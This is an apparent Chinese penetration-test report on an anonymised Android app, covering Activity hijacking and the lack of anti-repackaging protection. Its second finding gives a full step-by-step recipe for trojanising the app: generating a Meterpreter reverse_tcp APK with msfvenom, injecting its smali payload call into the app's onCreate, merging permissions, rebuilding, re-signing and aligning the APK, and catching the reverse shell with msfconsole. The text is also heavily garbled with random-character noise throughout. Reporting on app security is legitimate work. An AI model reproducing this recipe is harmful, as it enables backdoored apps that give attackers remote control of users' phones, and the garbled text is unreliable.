原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

% m8 f' j+ x" J) p; Y7 E 0 H% G( Q ^" w& h: |: F2 }+ _

3 i' W( ~+ i2 z5 }. ]

. @9 r, t) ^0 g/ Q: `3 H" C 文档编号：               

4 M* o* V5 k: A' h , f. e- q! t; K4 k6 ]1 `2 y

. r. p* @2 d6 j/ I" \   ; Y( R) J& W6 U: R; w/ o9 \* m7 B+ D

3 E, y5 M; j8 ?- g

  - B% N- F Q8 S

; {. X2 S2 j$ m* N! r9 m - S( C2 ^: a1 Q ?5 w# H- ]/ ~

/ u( C% a' J% L0 q: ?- J" u7 f   8 M# O. N' \. Y9 N6 d" Z! o - P5 q( ^ H* P/ C5 H7 E0 Y" H

( X4 V+ C% f+ v0 {" v

  7 H! D! Z6 l6 q" M# C. F5 i) ~ . @4 Z% U5 K( T9 y- ^

: F3 s! b/ }$ T# o$ \ 4 }9 P6 Y# [; B- s* T! @

2 E& J5 T( k6 u* l. V" M5 e7 |   m$ Y2 [/ J4 s5 r

某某某APP渗透测试 ' Y$ O, ~$ u1 D

  1 J4 q+ j& E& w

' J% M8 H' u' k, z ; E; K0 g* X4 y- Y5 @9 W. G; {

3 q; [) L3 J1 H9 A( _- m  

) m* g- q. c4 _3 z# ]   & }8 l; K& K* c9 N) ?$ W

$ j" X. {' {) z, C3 ?1 T: }( \% F   + T( E" p* X3 C M$ q9 \ 7 D, x, S. Z2 Y3 R/ K

5 U. C* p* l3 ~5 d, P6 n2 |) @ , A$ Z) x* c- D4 R ?1 k4 Z

3 d( t/ q! J L 7 v8 d1 T9 t$ u+ A0 G4 W+ t 技 术 报 告 2 Q2 F4 |- F: R" y8 t/ s: z

; _7 _' {, y7 S. s6 l, c5 O

8 e3 {' M% G. W$ x( J. T8 x ( R+ [( a+ }9 C9 Y# l% y3 O   }! u5 O, f. A, z B 9 L D5 E7 w) |2 U6 ]1 r$ z+ k

4 ^9 `2 A. O v& i! | ( k: O9 ?: i3 R+ J/ J

# h, [+ |2 q& D/ Q4 X1 p3 E* V   1 J. E9 Z; ]- G- N2 u$ ^1 E% a

; F/ q+ i3 T T, A& v- ^3 m3 S 3 s2 M. t0 @. }; T z. D) k2 i/ t

8 Z. ?- ~& i3 ~- R  

2 l4 v) @4 w- r+ }5 f   % `, t& q. a8 F1 V5 l 3 v! B. f; ]: \, C7 f( k

- @2 w `$ M% R. j o

1 Q9 w; K* l- q$ ?3 t" a 6 M- r. ?& \5 n   ' D9 y* }/ c* l - E$ Z' C9 t/ u$ [

8 m( b% F- q5 L# |: E

6 C! c5 U& i, G # w* }' m: K) S6 N! R  

" b7 ^. {# i' L J5 A5 M   6 I9 Z. j6 X! U! s" C1 B0 b2 l0 B 4 o G D8 }* r' ]5 s" D6 M

1 ?2 w* e5 g- s8 C4 p   % n3 M _6 H5 J: c* p; f . r$ T; }: L. z3 S% K! L* O2 i

% T) V- |: q0 e$ {   ; `& Y8 C5 W, y5 ~8 F

9 ]$ f, F0 p8 ?6 z& J5 _ , Z- @2 d9 G% c( t

) z7 J; y$ M6 |4 O  

3 S* L: _0 v) ^' N: M) G ' N9 i: Y+ a8 y- t8 Y3 ?4 k$ _

 

: k2 ]; \6 N+ u/ k6 e- W! R 7 f: H; X, K/ t% R" p, @; Y* }

 

( d3 P1 a' A8 |% n+ b; k3 ^! B+ F3 V

% H& U7 |" S* y/ U  

" z- a6 e$ ^/ Q* X! R8 [

9 J9 U8 p. C2 m B ' d/ ~0 o& E# V5 A/ W/ ]   . U+ y' D. p- {/ z

g' a/ f4 D' c) `2 S" }8 ]. k5 w

/ U! ? ^8 C( H. Y9 }6 |, s$ N y& I1 n0 C, w3 v4 N/ C   6 l' m0 Q2 q0 P* J+ x ) j! g; f- m8 n! @

, u) G! X3 Q8 Y( i! A A % S) p5 w, T* z: W. K

  ( Y. Q6 f6 z; A/ z5 Z

 

 

4 n2 W) L# O. B1 O 二〇二〇年 9 l2 H. ?: g: ]% d& Q6 Y . i0 {/ y2 ^3 G( l- W5 m* S+ l

/ t Q9 J' J/ z
3 S" ], h$ e q G# |8 W; R# e, g

) [* l5 S, I7 J, T
1 _3 j7 j1 b, A

" P* O! P4 N V- g* r5 I& N 1 l4 o( ~5 ]3 k: k

6 Y7 A% E6 v1 d ?5 D 目 录 0 ]# I! e ^, E9 y3 _+ a& { ! ]7 H3 N% n$ A9 Q! _/ a9 j

( R! I* g& z, R" \/ `. |4 T 4 W+ Z6 y# O/ }: T 4 i _) j$ O f6 V

' ?: c6 V$ O6 _1 j ( ]$ X( I3 j, W$ p* ]# i7 Y  

! d% G- e3 t2 \& B* o

7 _# A. R4 j+ f0 `6 H 1 概述... 3 4 O) w3 w8 y6 Y% f& \. S X0 Q

' A0 y- F" A& ^+ b0 T8 z! { , Z9 E* h1 R$ B2 Z) |

" m0 O& i* x* k) x+ n: i 1.2测试时间... 3 , {! E* l! H3 L/ I 3 j. X' B1 D% x; y& J: H

! F; [- h2 W& F4 f! ?

1.3测试对象... 3 8 r4 Q( D; ^* \8 y; I& Y0 S

" P2 Q. {7 ]" }, `" ?

8 ?" d' c. _& {* P6 R* s 7 v1 V2 ~) y7 }2 ?$ k# _9 j( V 1.4测试结果... 3 / Z* a D% v% A u- Q8 _# q

7 o- F, X; z c. l: {3 X q& R& M

+ o* O3 I% w" P. q! Y' ^ 2 检测结果... 4 2 i+ Q8 c1 c- j# A' B' z }

# J- J i. H: K2 m/ T . X0 y2 ?- p$ b' c6 H' Q, B 2.1 某某某... 4 5 y8 c% t& }6 d. ?1 D 5 v5 n. B# a4 _6 s" d5 Z' b$ J

# x# V- b3 u3 o+ v9 y* h* v

, q) z+ V% L, h/ c % g7 Q0 `+ L/ ^6 G$ V4 t 2.1.1检测目标... 4 / W9 W2 P) S# z

5 x/ G G' _# B $ w+ I; Z4 E" m1 T' x

% x0 A' n! y, g% ~/ m 2.1.2检测结果... 4 6 }% T; K; |8 v1 U+ x; q

0 _* }: q4 T$ q; E3 @' c/ B# y

8 B: m( X! f# B# @# c/ M* U 2.1.2.1. 4 & C" P$ {: k+ i% p" s# u2 v! o! o : h1 j% e% s/ P7 e. i

, D' D5 f' |! ]! C% t Q2 ^$ U `% B

2.1.2.2. 6 ]3 b8 F+ Q$ X( A% B6 q 1 q. S0 F( Z6 v7 h( `1 t- e& p

8 X( @7 @ J% ~0 p7 @9 ^% { w! U 2 d* p" N% E; { }

; H7 t: y9 _7 Y8 \& M & q8 ^7 \9 |( z( \; G* {0 e' q. M

0 h8 S* N" P1 ~% @5 e/ j2 Y L) u
( X: k4 I. y' V# R. X. q

* d4 p: D) `) Q2 i/ _ 1 概述

& [1 ^9 N7 F! p1 g& j4 l9 W

" x1 K/ `( C8 C) R a 1.2测试时间 9 t+ l+ Q) k, E" r& W& L f6 O7 {

V: M2 e5 ]8 | p. P' x' [, D2 X, ~5 M$ r( M, x/ L+ E3 ~2 k: c7 [% U# h0 j8 X+ U9 ?) a+ B/ p: a! R5 E5 w3 ^' _. i+ G7 _! W, u. ]- s% Z8 W8 Y" \. K3 o! n8 t4 V3 `, \$ O; C6 ?! j. x, C$ Z- }" V5 L$ U# O L0 |. u& l' H+ X! d' T: u& v, l3 k1 Z+ _1 ?3 w, L4 Y5 k. U7 ] e% b' H9 \% w |" K6 Q; N" e+ U9 z8 L$ w. |( P4 {, _1 j* A8 j3 e5 j$ S/ r X) A- D6 O

! b0 W( s& Y( x- k- `7 X8 U8 } 4 H. `% v# a( ` 渗透测试时间 - R4 ]" v- s0 x( X & c- w, H6 z7 S6 J5 Y, L3 B ! Y9 V3 y# J8 K `' `& X D; F ; b2 x5 T: d' t/ q( f& L0 f
$ s# z! @7 X/ n2 _0 Q5 g) p 起始时间 9 M3 C( k$ A6 ^# y) J: Y	- h9 Z7 w; i. L* a1 ^; N- J % C9 ?( n; K2 _9 f 2020年4月6日 ) z. e- L& n! A; }1 d# i . B' k6 @6 i! R' ^3 V8 q: c 3 A$ F" D- P4 S8 L# x6 r# W* u5 [ ; e$ p6 ^: J- C; t z+ d' o
! G, J& V# L7 M7 L( n( ^5 \% S 结束时间 T# c4 w9 [) ]4 X, c2 I9 [ , e8 n7 n9 S F1 |+ x6 p	2020年4月9日 3 B' \& q! D, l1 G+ O 0 a7 W( B. B; A R

6 P8 R( I6 t8 W# p; R# C

1.3测试对象

& Q# p6 T4 Y6 B/ S% W/ }+ c

" \, c+ D& E' r W5 \: c1 A8 y- d 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示：

; u1 k" W* W% c0 L) ^" O+ ]

3 u9 v7 o' }6 H8 E; M* t 表1-1 检测对象 9 q; o. I4 }; P6 Z0 K! W, n3 F

' o0 B, n! |* B' {' [9 H , V+ F4 Q E) Y. G. G * B1 ?+ Z$ `+ f( D4 W& y! S% P# Z: U3 T1 [" s& ]! X" i4 N5 i) ?( k6 Q4 s0 H: Z8 t8 H& K7 R( j! a7 x2 w1 U) W* a/ S+ F# ]+ A i% X. ^4 f" b0 e1 Y( w$ l7 v% ^* z6 K# J- @$ \4 l8 O+ r+ _# ?8 S/ _1 J9 o1 o8 h6 B5 v) X7 z/ y# X0 d; ` S% a4 {% l/ m- ^9 T! K, T" Q7 F$ M/ Y) j1 V# C% Y. s( {6 z1 P6 S1 Z0 `; J+ Y, D% s) S, w* A8 Q+ d5 Q) ^6 r6 b) o) K* O7 g# G* H) ^2 F6 }1 Q( n' K3 b1 Y; _3 V/ e) g4 b3 ]' N( j" f6 _! t9 ]' A) ? d9 N) U- q! a/ X- v$ p$ ~4 l' H9 q- l" W# J8 c$ I

: [: v% |5 N- z4 k4 y7 t# V* o; ~ 序号 S6 S% l" l3 H" z, ]- a" \! C3 E . e/ a: O, C3 J+ e- D	! t/ ^, C# g" y0 M8 E# U Z! c6 E; Q2 v8 }, O 测试对象 % Q+ F# b- [& W# y3 J - ^: y0 U; Q ]1 U) h( Z8 U/ n2 R+ x	7 j* N4 \: D/ Y$ O 2 }$ `7 Q7 d% ]0 J5 c, ]+ W; I3 w1 } 测试地址 & n2 K% v& l/ \8 }3 g ! J* d1 \5 e# y4 Y$ x1 M4 J	/ B5 F) e7 P/ G + H1 r: }; F5 h! ~1 y 安全漏洞
3 a- l* h# ~- E! O N5 m- c9 S) x+ A . F8 ?& l8 ?+ s J0 F2 S 5 n' @. y# w5 Z' R% P9 [# _8 t4 U 1 1 t3 g1 N% D3 _# F 5 w9 t' Z7 f {2 \& ^ 5 h; k+ H3 o) F: A) r3 O& D $ B g' a1 v$ _' p	- z( t8 _8 [ Z 某某某安卓APP 0 v/ y9 Y3 A: g3 p/ \) b7 \ $ Z6 B X# w5 a	+ [7 V, W4 n& s( u8 ] $ ^ i. B$ e4 ?4 j4 g   , B8 i1 ~' Y; N# u ! k2 ?$ t4 ?4 D* U: O' l# y* ] P& L	% e/ Z$ k& N, r7 W 2 ) c4 P" \8 f, f" _ ' P0 O- |& ]8 @; Y' |

: o( X r5 O. ]

1.4测试结果

7 U% _9 O- J8 F6 d( x7 f" t5 h

8 S, ?3 o' }2 J% M3 v/ } 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： 0 n9 y, h. B2 A& W+ y

2 n, S, O2 c2 g 1 r# K6 D+ V* B1 N. w* Z   7 [- _* Q& [3 F. A1 ~4 u( H

- f- ]$ \: }9 ?' N! j6 U 8 o g; q# | U( b

4 p8 e9 z( D) \9 p ' u' D' F2 W& B$ |' l, O3 q; d/ B& v; [; u' S, q: y N# `, ^2 W. | @$ C7 K) P e8 m2 d! T- W k1 ?3 w1 \ Z* Q+ x/ r# K3 m! |* O# o6 Z2 {( U4 I: t5 M$ c' k1 g" T0 n4 {, X3 Y! m! u( J: `6 X; o0 Y) G+ n u, ~( Q% ]) w0 e4 b; \( [. \# |- J* z* j3 {# l( t9 K* i: K" p* N' N3 S$ Q6 P) }0 J; Z. T( l: o% [4 S. n7 B; O, U( Z# i! l5 X d/ I6 Z U( I9 p8 P, J4 [, w% K* M% }# w# u, o3 z" X( z& H) i1 q y1 A+ @5 M( H' e) G: {# z5 f6 d K- j

+ e/ ^, q* l S" o$ P) c) { $ X# u. G U3 W% Q6 X1 l & f# \5 z/ z# i, y 序号 9 c3 N2 N' \5 @, [* w8 O6 v . E2 _+ Z) U4 `* _# A8 ?! t/ S	# A8 R( t& c, w; o8 Y % w; |. C0 [7 r& V( k- q+ Z' e , M- N; I6 v* S. M9 n+ b 系统名称 # K$ f. T: Q4 n q$ u 6 N, J4 n% A2 k$ W5 A7 d5 F	1 ^$ V2 \) C) E/ O , f% D0 F' V" J1 h! H3 R4 ` + s! Y6 d# @2 [5 [; }( y8 B , D" ~& C9 e# Z; c 漏洞名称 ' P! [2 H$ l8 n: N. K% k & B8 P, f; h2 r/ P1 X6 P9 {	$ z1 } Z5 V& T' z* v: V $ X. f7 O4 |! f- K+ e+ s9 S / [# q; H5 H2 Z 漏洞危害	( |9 P e; ~& o- }* J8 Z/ j9 H; E / q, H; Y. g9 O) K 修复结果 0 A1 D6 y8 }9 i5 I) v4 m F0 v
$ Z5 C/ C: ?2 T6 D' |3 F, K ; d) o$ L+ q, e F: T9 q & D! |' v: o9 ]) K5 u 1 3 Z: ~: {+ h. P, s4 a, i$ F s . a/ m; K9 m* Z' o! C	2 v. Z* ]8 Z: r+ q- j 某某某某某某APP 1 w8 ]6 h7 ]$ u. ~1 s# C# J	& s5 ?% O! K) E1 n. o , t& g+ y- S \( A Activity 劫持 % H. W* Y% |; b; m 8 s1 D. d1 y& M/ i$ ]" ^' L 3 F0 D3 \$ _" x   4 l% ^& r# i9 P" s: ~9 ] " B0 B2 g/ H4 d# g9 M & l% _' K+ T& C; G* V	6 B6 h [/ y/ @8 x8 R. r 高 ) e; ~( E+ p3 D U. G+ r2 u	. I( e( W& C, U8 i. k1 | * M* A W, H# a* `& ?- w   4 [+ n7 ]# h* j g. s( z. X. c
: k# H+ T+ C; H; Q- z 9 C* C. @$ Q9 D2 {% O' \. f+ A 2 % I; g( G) P% d j 3 l0 A/ M, h2 t% v1 g 3 ]; Y- E2 j$ i; n, i* {% o	^+ \7 q. H5 R% x6 t% W 某某某某某某APP + L* U0 p* Q# a , n# i2 u. q) E3 Y* g8 q P- r' Q ( E$ r9 s; P& o9 d' |4 [; {	1 h( H! b8 @) s0 |8 j7 C 反编译二次打包捆绑木马、篡改APP代码 # i* \2 X" r. v j$ y5 E4 K& p3 A	% ?' v- j/ e @! [" u , I# b; i2 c: p' \2 p0 d2 L 高	1 v0 y. Y9 G% k8 i8 x# m 1 U) z) W2 p5 ?   % Y* R/ b; n% H9 i: {2 e+ N! Y

: X% n0 D7 ^. Z) i# P# q" h

- w3 Y3 u5 o& H/ O 3 n6 Y7 M# V' ]; M& j4 b, n

) Z. S7 ?' K5 w   6 l8 j3 m$ B; k# o4 M. j 2 w* [6 i6 @0 Y- ~) _; i. l4 `

) f' I0 _& a+ j* V0 G R* I

表1-2 测试结果 2 `' E$ P; X8 V9 o' }& B ' f( R5 N+ U) J: s- J' [' o1 d

3 v* }! _4 X" |7 W8 ` - O. _, q- W$ C: J- R6 R, A: p

4 a8 S6 Y3 ?" E   " f- d7 k X: m

7 @* J6 W8 G$ ~1 Z) O

( { [# `+ C% D8 v: b 2 检测结果                    , H* Y/ F) ^, [

/ N0 K* {- g! d2 ]& Z) K

2.1 某某某 & G1 o, q: A" s8 l5 m * A8 T) [" x0 H- `/ H8 ~! i

2.1.1检测目标 " o5 q- R+ {% v1 ~5 M- R& ]$ x5 E # E8 T0 _# v* m8 O/ c

7 r+ r% s2 b+ \; u3 r

目标地址： 某某某某某某APP 8 r# T+ O( ~8 w& e& r/ ^1 p

8 [1 U7 } E- O( a0 D; c# B

2.1.2检测结果 ' _0 f/ w# U; R9 u- o* f' B1 f$ i, L ; d* @/ g9 t; S {1 R+ I/ S

8 Z, c+ O* ]! M' P. _( V

0 r' s& D: V' S) i% E" U 2.1.2.1 0 {0 u/ x, u0 A7 F9 f, P7 @ 5 |/ ^8 S* F/ x$ v

漏洞链接地址：某某某某某某APP

! C2 Y" G3 ~8 ~9 ] , [ T1 _/ | ]0 L! C5 @( Z   & R8 ]; } F( c0 Q ) l- R+ _. M# ^) I0 R5 T* p

5 C- j+ v: N) R) r B1 [% G; r# O1 ?

/ V! W s' i' V* m. ~2 a* J _; r7 `0 | 漏洞分析及取证： * U7 Z/ t; z) {! C0 p6 o

' G6 N( j0 ?% q: z# x 2 p2 `& a/ q. T                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： ! c, e) d' E7 M2 N

5 h, O7 j, E; R3 `/ T. \# g. ^

& x/ Q! O* r$ K4 i' }# u# E9 m# t - J7 i3 m% B8 _1 G' x3 @      4 L4 S7 a$ y3 ?( o

% e7 E8 ~/ n% Z) }) N( I' H/ K9 N4 n% `$ C                       . F* u1 w# q) X! a) v - [$ z1 [- W* y, h) ^4 S

: P: ?+ r2 X7 _. h' s+ y

0 D8 K; D! P4 y$ @8 c. Z% O ' a4 p3 ?" d* i( L

+ \' h, i+ X8 h/ u" S 0 ]5 s; T/ D; ?/ c , i- s4 S" [' W1 p0 n5 `. @

, Y B# i: [: y& E' | 8 r3 C2 m" S$ g& \# H- z8 T4 C N: W

: j8 i3 w" Q2 `# \+ S1 @

漏洞危害：高 , g& p$ v7 [, Q) t% h

/ l: ?, r7 {9 A% b& q2 j: M. n! P

3 J- @7 P _8 x+ X / ^5 `7 \) A2 p/ X$ a2 g* g- {, x; j$ D8 T: L# Z% B+ Y4 e L5 {: W; Y3 s# m, C$ P; \" X' u# s, H) s) @4 o* _+ H& ?* A* Z4 c0 b! p5 U5 x; J; }( a2 h* B9 {( w, [% G) @3 ?! F, }6 p+ c6 |9 C4 O) D+ l1 S+ Q: S) _! r2 y G8 d' f; M0 E5 M+ ~: D2 v5 s. G3 Q" _) T. f! z2 L4 a I& l% d# C" Z" A m: J! q, C1 H6 {7 g9 k8 |2 ]5 L2 Z v1 W& H# a5 g" ^: p8 B& r" M6 o( ^5 Z0 ^8 ~0 ?' z4 d ~: _2 R! G- T9 H

6 v& `& Y& G- O3 q( Y! K # P9 R- r+ C- Q8 ~+ J+ O7 a' j & L8 b' Y& I9 p; i: _/ q 严重程度 ) `# E8 H: ?- e+ a2 G : g+ U+ M0 P2 z( |& w' X7 p* f$ d2 {	" w# K+ J7 J4 h1 j7 u4 P# z 6 Y, s/ K3 V( G, e 高 0 b. Q' o7 D! o' o( f) u 9 F/ d! g7 g. I ' Y4 x+ k" I* F$ j7 d: J e	5 D( O0 j1 L1 s7 ]/ N7 c ■ + x7 i& d$ |/ z$ f 2 P8 A9 v+ T& ?( r ; h0 z }& X; O0 {7 u3 v2 H	4 z* s- c' c9 y" P& N8 W" i) L : U( S2 h- i# q. n8 K / e! c3 n- N c8 ^3 h' h) @ 中 2 c6 f8 o1 Z1 X7 k" k	# h/ o) v* S2 D/ c   $ y0 e# e" b; u C4 i5 r: m0 N	' e4 I9 t! n. Q# b, W & A4 U* a0 q# K# b / j' Y# i7 ~: _6 q9 T! S& g 低 ) H W: m! p7 ^1 L5 h ( Q2 @: [' @# h% w8 M% f 3 Y4 m; L, T; [) A/ P% T% q S	+ E. n9 i) @$ F: C- D, ^! ?   6 I6 b2 Z p& s* ^8 W/ B$ x8 | / X8 ~# q# _( d% ^- W! R6 S7 z K 7 b$ a5 X/ @8 ]% y+ E2 K7 q

9 {+ z: u+ j' h7 R1 z# \0 n 5 C. |) l6 V( V/ K

/ {) K& Y1 m2 f7 Z' R: A6 \, ~   + V4 u3 j! z6 n7 I( i/ c |( z* n' @

8 ~. C3 }2 J- V) t; C0 b

- M2 U+ H/ ~1 c P' C4 o 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 , q# i& D4 A6 `. ?# K1 c

$ {) @# |$ o. g$ d0 x* T          

5 |" \% R( y" N   % [& c# B: k3 V* U1 H 2 i: M, v4 A& }+ G

, T7 L* Z3 M( h" V" |

: B- k% h/ \ h. n 2.1.2.2

# q4 Y/ J+ W- H/ B" p6 C+ v3 K

- _1 J! |# z: u. A. W9 }6 F 漏洞链接地址：某某某某某某APP % I& Y7 c" V9 Y- y3 g4 e; q! t

漏洞分析及取证： 3 Y9 Y* M& E% T: g: O

2 t) b7 H5 g0 {9 i/ V" `, l; D' [

# O/ b% U/ n1 s. h1 H% H 7 x" m0 `0 }& m                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： " r+ ^% E4 |0 }0 r E0 N

7 t, Q) G M, b8 z' d# a# P! p 5 N6 A3 l. ~$ L M0 W) D: w

用Metasploit 生成木马 apk - N \" g1 o) Z- R Z, G% A+ _ 1 d% W2 j% z( W9 b) J0 N; x

3 @/ ~ w3 F% h4 h8 H3 A7 N& v

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk

- r) U3 e/ e9 C. V( b- a : p3 M0 X/ u+ Q& l a% _/ B# v

3 [7 N+ V$ k- c6 y" D' y : Z6 Y( e0 u- F: V& e 反编译目标apk和木马apk 6 H+ e9 M) o. i* I8 `

( M' B0 u2 Z: A. n/ _; x2 J

0 X, c' |! x! U$ t) b0 | + I- P& W) i5 C9 M: N7 V apktool d target.apk
% |7 N Q, P6 p6 D- B M$ { 9 m) f8 e) E0 F! H; ^ apktool d cockhorse.apk 9 _- i3 D' [0 m3 W / ], U8 D1 A+ h0 R6 l

; w( |9 O6 N5 H

, |) F( R4 A8 `% [: N 木马 apk 注入目标 apk 7 v6 Y/ d* c5 Z; `) ] B 1 k) ^: b% F* G- m

; W8 \1 D6 Z' J. S( j8 \

# l. w& Y9 ?! B5 V 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
: I- u/ q# w! U invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V " c7 L [; f: w0 X+ q

7 _' h$ i% E n% L+ b

8 P2 z' I3 M/ }& z4 M ! [) w3 d4 s ^7 p* b( ` 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 + ~! R/ S4 m% y! H% e

( v5 R. u7 D" F6 K+ ]5 g ' r4 |3 l) J8 [8 ]' U

将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 6 }) c" m, P! L; B- a

9 R. q' H F& f' {# ^1 b 5 R/ T& @8 ~/ u: ~

回编译生成最终 apk & g7 G1 C% ?% G

4 g, f( R& n2 a9 B2 d( P

重新打包 ( e( x2 Q& H3 N

7 I! L2 d, q: f' r4 k$ m

b9 D" \# q0 u% Q% j ! H; X2 I' U" u+ Z! q% F5 J+ B7 G apktool b -o repackage.apk target_app_floder 8 T4 ~7 i- s0 V* L5 v) C0 N

' l9 B8 ~/ J) t7 p

6 h& ~5 o# {2 W- [4 s6 C 创建签名文件，有的话可忽略此步骤

( O" v( {7 d* T9 B

; U. Z8 D+ H9 x. a1 y keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                5 k6 u: Q# q; j" c @

/ }, L1 ]% a1 y9 Q E

7 K- w( Q1 P4 d; I4 v1 W 签名，以下任选其一 0 N) v' ^8 X1 B. ?- ^% f% p. Y

! p1 G' Q5 A3 O0 H8 }' B

jarsigner 方式

jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname ) B) k& X: [. ?& @7 b- v3 Z" F

# r: j, m. X6 ~7 r# `, ]9 Y+ G * j* @) I; S& ^* ]0 ~& c+ C5 V

" [, _( r% B9 i' _0 n0 Y( D apksigner 方式 , b# U2 r9 S. T8 V

+ `+ ^) y/ D4 a0 D # T+ o0 I8 V: i; Z apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 8 s! c. S7 Y4 G. W u

0 I1 G m7 M/ }* F" A! [

8 a% o) \& t9 F) A 如需要禁用 v2签名 添加选项--v2-signing-enabled false & Q9 g7 V5 }& m* L( U _ + N7 P5 }6 L: `4 E. B; u

! d+ m1 X4 h! P3 ]' g" E 验证，以下任选其一 ' K9 _- P. U7 V: G, c' A- n3 @

& u1 o2 N! q& ~9 t/ s) C jarsigner方式 8 ~4 h: |$ L+ k

2 I* B i4 @+ T! u5 Y9 w3 o( W3 y |9 n8 ]+ |) q! }

jarsigner -verify repackaged.apk 5 C# [$ O9 i, `! V

$ v1 A$ G; H& F$ x3 ?

apksigner 方式 6 E9 E) h9 @$ ?' D Y& t! L

9 `2 u: Z8 F% C H6 O( o2 J apksigner verify -v --print-certs repackaged.apk " j% M' `. |) O# }6 |: r$ P) | ! ~7 c2 T8 S: p2 B' Z7 `" C

5 e8 k- s6 E" A Y( _+ ~- ?9 z keytool方式 ! s; T7 J; `/ d4 l" Z - [ L$ \! V1 G9 z

. T. v( Z' j) P5 I# O

keytool -printcert -jarfile repackaged.apk ; {9 j5 Y5 ^ e8 j1 }( c4 X9 \# T; B0 y

/ V) p, H9 o" R+ {

. y' w d( N$ n+ t6 S' b' _ 对齐 ( X4 j1 M) G0 W9 o9 e / a+ U0 z9 V# z7 w

: l0 C( R+ T) v2 s " \( g: T2 O) n& ~ A. ?- Q 字节对齐优化 $ H! w+ V+ \! d6 v9 F- F2 ?2 g

zipalign -v 4 repackaged.apk final.apk 3 T" I5 L3 R3 T1 j: t( ^: W & G+ K" [& }4 k

1 P3 x' ~& G* h" q! Q

- Z9 j, l( \7 H, i6 C; Q" S5 { 检查是否对齐 , X$ X) e. ^" P" F, u

+ [9 m7 x0 r$ j0 a zipalign -c -v 4 final.apk 9 U& L3 J/ g3 C* D4 \ m

. D9 }9 \) G8 [

& @8 b, |( n9 X8 T1 ^ 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 ; _! M- _& Q4 @, } ; X. L9 x% m- B3 Y# ]+ j

: z% `, c; ~- R& M( v% F- y 启动Metasploit控制台，配置参数等待上线 ; O* [9 m5 w; P

7 u* P) r0 ~) O% s7 [; I 5 `/ B6 ]( X/ }3 v 在终端依次输入如下命令 : g( X2 G' C- i9 E" v) ]

% u% X/ n7 ~/ S5 _$ v$ E6 C/ `

0 L/ Q' A+ [( L# E5 d msfconsole

7 M ]8 }8 y( ?0 c+ Y/ q9 J: K1 J: Z - y( Y* z( u9 L5 b# U

use exploit/multi/handler - x" N1 V& z* W/ ~+ h6 s

; j; |, K: {$ Z' M0 l

) d; A. }0 [) P& [& h* Y6 D set PAYLOAD android/meterpreter/reverse_tcp

* L: I$ u' c1 d

! O/ E( y- m& _" m set LHOST 192.xxx.xx.xx 5 { ^- M6 W3 O) {+ x' \

- I; X) N- { c8 Q! h; u

5 X: ^0 A# ~* Y! \% R! J; N9 s) B set LPORT 4444 ( p3 h) {. N" M0 T

/ s3 z# r7 O5 P0 o" V8 `2 f* m2 v5 s

! S4 e b( _5 d4 R+ [" y exploit

4 k. @' R: p9 u- f/ `) R C' M

之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               ! W& N9 m1 d* m. t( Q }

$ t, ]8 c$ [/ l* H' c; _- X

- z- L+ I' c- ]. o- P& E* s; z. h2 Q 3 H& ]+ ^. z0 v7 Y 漏洞危害：中 * r! L ?0 W$ F0 p: x/ k

1 n5 M# J. Q1 ?8 N7 D

9 F7 [+ F' a/ y' @8 K$ O( a 4 X/ G; r b7 B6 _* G/ T+ X% Y6 ~ w8 }" g4 R! c# X. m7 b* } - r$ K8 a) N6 K1 h* z4 ]" ^3 ~9 G, M1 \# y. r& Q1 M" q$ B4 Z4 ^8 Y6 X& @9 ?" L' Q+ U7 P4 _+ C5 o) ]3 N2 C t! m8 X: @ Q$ K& ^5 \2 A' g5 F1 C3 n8 Y5 z: N n& x8 R( F6 o4 M" W. w7 M4 ]& D. j; I; `, f P) K0 m* v# ^3 [% K1 u, R% F; Z; g8 z& v' i; d' v+ X% C( Y- r1 `4 I! h1 K/ j) r* b: B" ]+ P) O0 v3 H5 \; i _" H( L9 C( Z" B" J2 h( l% I1 K2 H: [0 A0 ]% y$ P5 e5 _8 B

/ k. Q) N5 O; C4 n6 G) J: m 1 S1 g C7 t! o. M& `+ }: v6 J C: s' m9 w0 f 严重程度 + g8 y9 i3 }0 H) _2 ~( u	3 [, s F9 ^0 i1 `1 C1 e0 ] # D! u: {3 I5 z; D# L . e+ B/ u) e1 ^8 n- d: z$ G 6 J) T# i% C4 C' a& @* x 高 * l* A' c1 Y$ r & Q+ G ]9 B/ M* Y+ n 2 [/ f+ r) ?9 @2 @2 U ]2 _	/ i6 ?. R" L5 g ~8 F# B y+ ~ ' p: T1 _8 T. V# a; N( j; c2 F ■ + J, T3 @! [6 K5 s) M	8 {% J; f8 K; n6 K5 H) L, k; H. q+ `0 S 中 C2 a9 Q% X( G) w9 s# K' @! i # w: l" r$ i% f# `9 j ( M1 r) l3 Y6 v/ W! @, R. i8 K	3 V1 Z5 j, _- z% I ! |9 r. u8 _! @3 X3 N# O 3 I- H6 `+ q) B9 x4 e : @7 V/ b7 F1 @ e0 k5 J6 v6 N3 \ 6 }4 \* ^3 ^* U7 R }8 }	8 ~1 G3 v U! q + @- f4 |4 w: w 低 * q( b7 q4 f2 ~+ i# y ; |+ m! e3 R& B5 